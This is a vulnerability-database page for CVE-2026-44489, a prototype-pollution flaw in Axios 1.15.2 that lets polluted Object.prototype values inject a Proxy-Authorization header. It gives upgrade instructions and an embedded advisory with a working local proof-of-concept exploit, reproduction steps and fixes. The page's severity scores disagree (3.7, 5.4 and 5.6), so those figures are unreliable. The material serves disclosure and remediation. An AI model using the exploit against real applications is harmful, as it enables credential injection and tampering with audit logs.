CVE-2026-44489: Axios has a Patch Bypass Proxy-Authorization Header Injection Vulnerability
LOWCVE-2026-44489 is a LOW (CVSS 3.7) proxy-authorization header injection vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Axios has a Patch Bypass libraries in the npm ecosystem. The issue involves proxy-authorization header injection via prototype pollution — incomplete null-prototype fix. Remediation is available by upgrading affected packages to version 1.16.0.
CVE-2026-44489 at a Glance
Security Impact
CVSS: 3.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).
How to Fix CVE-2026-44489
To remediate this vulnerability, upgrade all affected Axios has a Patch Bypass dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install axios@1.16.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls axios
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-44489, inspect your project dependencies using npm:
npm ls axios
Analyze the terminal output to locate any version of Axios has a Patch Bypass in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.16.0), your application is affected.
Note: The npm ls axios command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Axios has a Patch Bypass, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44489 Affected Axios has a Patch Bypass Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
axios
|
npm |
≥ 1.15.2
< 1.16.0
All 1 versions
1.15.2
|
1.16.0
|
References
Frequently Asked Questions
What is CVE-2026-44489?
Which Axios has a Patch Bypass versions are affected?
What version fixes CVE-2026-44489?
Is axios affected?
What is the CVSS score of CVE-2026-44489?
What CWE is associated with CVE-2026-44489?
How can I check npm dependencies for CVE-2026-44489?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-654m-c8p4-x5fp",
"modified" : "2026-06-12T19:24:58Z",
"published" : "2026-05-29T15:51:02Z",
"aliases" : [ "CVE-2026-44489" ],
"summary" : "Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix",
"details" : "# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** — all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected |\n| Impact scope | Universal — every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | ✓ Fixed |\n| `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = {}; // ← Plain object with Object.prototype!\n // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n if (proxy.username) { // ← traverses Object.prototype!\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (proxy.auth) { // ← traverses Object.prototype!\n const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n if (validProxyAuth) {\n proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n }\n // ...\n const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');\n options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!\n }\n // ...\n }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = 'attacker'\nObject.prototype.password = 'stolen-creds'\n │\n ▼\n User config: { proxy: { host: 'proxy.corp', port: 8080 } }\n │\n ▼\n mergeConfig() → utils.merge() → new plain {}\n config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)\n config.proxy inherits from Object.prototype (has .username, .password)\n │\n ▼\n setProxy() at http.js:209:\n proxy.username → 'attacker' (from Object.prototype) → truthy!\n proxy.auth = 'attacker' + ':' + 'stolen-creds'\n │\n ▼\n http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) => {\n console.log('Proxy-Authorization:', req.headers['proxy-authorization']);\n res.writeHead(200);\n res.end('OK');\n});\nawait new Promise(r => proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) => { res.writeHead(200); res.end(); });\nawait new Promise(r => target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = 'attacker';\nObject.prototype.password = 'stolen-creds';\n\n// Developer sets proxy WITHOUT auth — expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz && mv package axios-1.15.2\ncd axios-1.15.2 && npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP → Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Decoded: attacker:stolen-creds\n → PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n ✗ Attacker injects Proxy-Authorization into all proxied requests\n ✗ If proxy logs auth, attacker credential appears in proxy logs\n ✗ If proxy authenticates based on this, attacker controls proxy identity\n ✗ Works on 1.15.2 despite null-prototype config fix\n ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) — BLOCKED by 1.15.2:\n Object.prototype.proxy = { host: 'evil' }\n config.proxy = undefined ← null-prototype blocks ✓\n\nNested PP (proxy.username) — BYPASSES 1.15.2:\n Object.prototype.username = 'attacker'\n config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties\n config.proxy own keys: ['host', 'port'] ← username NOT own\n config.proxy.username = 'attacker' ← inherited from Object.prototype!\n hasOwn(config.proxy, 'username') = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);\n\n if (hasOwn(proxy, 'username')) {\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (hasOwn(proxy, 'auth')) {\n // ... existing auth handling ...\n }\n }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = Object.create(null); // ← null-prototype for nested objects too\n // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "axios"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.15.2"
}, {
"fixed" : "1.16.0"
} ]
} ],
"versions" : [ "1.15.2" ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44489"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/axios/axios"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-113", "CWE-1321" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-29T15:51:02Z",
"nvd_published_at" : "2026-06-11T17:16:32Z"
}
}